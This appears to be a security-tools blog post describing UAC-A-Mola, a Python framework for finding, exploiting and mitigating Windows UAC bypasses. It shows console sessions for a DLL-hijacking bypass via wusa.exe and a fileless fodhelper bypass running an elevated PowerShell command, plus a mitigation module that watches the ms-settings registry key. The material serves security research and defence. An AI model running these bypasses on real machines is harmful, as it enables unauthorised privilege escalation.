Categories: Kali Linux

Uac-A-Mola : Tool For Security Researchers To Investigate New UAC Bypasses

UAC-A-Mola is a tool that allows security researchers to investigate new UAC bypasses, in addition to detecting and exploiting known bypasses. UAC-A-mola has modules to carry out the protection and mitigation of UAC bypasses.

Installation

To install uac-a-mola you have to perform the following actions:

  1. Download and install python 2.7.x for Windows taking into account your particular infrastructure, you can find the binaries here: https://www.python.org/downloads/
  2. Add the python path to the path enviroment variable. You can do this by carrying out the following steps:
    • Right click to mycomputer and left click to properties
    • Left click to Advance system configuration
    • Lef click to Enviroment Variables
    • In the system variables box, double left click to Path
    • Left clicking into New add the following paths:
      • C:\Python27\
      • C:\Python27\scripts\
  3. Download uac-a-mola tool from github by downloading the .zip file or by clonning the repo.
  4. Open the folder uac-a-mola-master with a cmd and execute the following command:

pip install -r requirements.txt

Uac-a-mola is now ready to rock! You can test its functionality by typing:

cd uacamola
python uacamola.py

Attack Modules

Using the attack modules is something very simple that hardly requires explanation. The only thing you have to do is load the corresponding module in the framework using the load command, you can see the options or input parameters using the show command, with the run command the module is executed:

Also Read – XMLRPC : An Brute Forcer Targeting WordPress Written In Python 3

uac-a-mola> load .\modules\attack\dll_hijacking_wusa.py
[++] Loading module…
[+] Module loaded!
uac-a-mola[dll_hijacking_wusa.py]> show

Author
|_Pablo Gonzalez (pablo@11paths or @pablogonzalezpe)
Name
|_Copy DLL with wusa.exe
Description
|_It’s used for copy a DLL in privilege path (wusa method win7/8/8.1)
Options (Field = Value)
|_name_dll = comctl32.dll (name of DLL)
|
|_binary = compmgmtlauncher.exe (Path to the vulnerable binary)
|
|_malicious_dll = C:\Users\ieuser\Desktop\uac-a-mola\uacamola\payloads\comctl32\comctl32.dll (Path to a malicious dll)
|
|_name_folder = x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2 (Name folder)
|
|_destination_path = C:\Windows\System32 (Destination path)

uac-a-mola[dll_hijacking_wusa.py]> run
[+] Running module…
creating path…
SUCCESS: done
copying dll in path…
SUCCESS: done
creating DDF file…
SUCCESS: done
creating CAB file…
SUCCESS: done
launch wusa.exe /extract
SUCCESS: done! got root? 😀
removing path…
SUCCESS: done
uac-a-mola[dll_hijacking_wusa.py]>

Another Example:

uac-a-mola> load modules\attack\fileless_fodhelper.py
[+] Loading module…
[+] Module loaded!
uac-a-mola[fileless_fodhelper.py]> show

Author
|_Santiago Hernandez Ramos
Name
|_Fileless Fodhelper
Description
|_Fileless – Fodhelper bypass UAC
Options (Field = Value)
|_instruction = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -C echo mola > c:\pwned.txt (Elevated Code)

uac-a-mola[fileless_fodhelper.py]> set instruction powershell.exe
uac-a-mola[fileless_fodhelper.py]> run
[+] Running module…

Mitigate Modules

Using the mitigation methods is also quite simple, but they have a slightly more complex internal structure that will be explained in this section. In relation to its use, the first thing that must be done is to load the available mitigation module:

uac-a-mola> load modules\mitigation\bypass_mitigation.py
[+] Loading module…
[+] Module loaded!
uac-a-mola[bypass_mitigation.py]> show

Author
|Santiago Hernandez Ramos Name |_This module will instrument the binaries selected and detect possible UAC bypasses Description |_Bypass Mitigation Options (Field = Value) |[REQUIRED] password = None (Password for connection)
|
|_[REQUIRED] binlist_file = None (File with a list of binaries to hook, one on each line)
|
|_port = 5555 (Port for connection)

In this case, we will need to set a password that the agents will use to comunicate with the listener that will be executed in uacamola framework. We can find the agents in the path uacamola/support/agents , opening that files we can see the password:

fodhelper_ag = Agent(‘fodhelper.exe’, ‘localhost’, 5555, ‘uacamola’)
fodhelper_ag.send_forbidden(“Software\Classes\ms-settings\Shell\Open\command”)

uacamola will be the password used for authentication and comunication, but we can change it. The other parameter required is a path to a file that contains a list of binaries to monitor, this binaries must have an agent.pyw file in the agents paths.

uac-a-mola[bypass_mitigation.py]> show

Author
|_Santiago Hernandez Ramos
Name
|_This module will instrument the binaries selected and detect possible UAC bypasses
Description
|_Bypass Mitigation
Options (Field = Value)
|_password = uacamola (Password for connection)
|
|_binlist_file = bins.txt (File with a list of binaries to hook, one on each line)
|
|_port = 5555 (Port for connection)

uac-a-mola[bypass_mitigation.py]> run
[+] Running module…
[+] Executing the listener…

— Press ENTER for quit mitigate mode —

Just filling this fields and executing the run command, uacamola will start monitoring all the activity related to UAC bypass in the binaries that appear in the list.

If dangerous activity is detected, it will automatically prune the dangerous branch (of the file system or registry) and it will execute the binary in a secure way. For exiting this mode we just need to press the ENTER key.

R K

Recent Posts

Kali Linux 2024.4 Released, What’s New?

Kali Linux 2024.4, the final release of 2024, brings a wide range of updates and…

8 hours ago

Lifetime-Amsi-EtwPatch : Disabling PowerShell’s AMSI And ETW Protections

This Go program applies a lifetime patch to PowerShell to disable ETW (Event Tracing for…

8 hours ago

GPOHunter – Active Directory Group Policy Security Analyzer

GPOHunter is a comprehensive tool designed to analyze and identify security misconfigurations in Active Directory…

2 days ago

2024 MITRE ATT&CK Evaluation Results – Cynet Became a Leader With 100% Detection & Protection

Across small-to-medium enterprises (SMEs) and managed service providers (MSPs), the top priority for cybersecurity leaders…

5 days ago

SecHub : Streamlining Security Across Software Development Lifecycles

The free and open-source security platform SecHub, provides a central API to test software with…

1 week ago

Hawker : The Comprehensive OSINT Toolkit For Cybersecurity Professionals

Don't worry if there are any bugs in the tool, we will try to fix…

1 week ago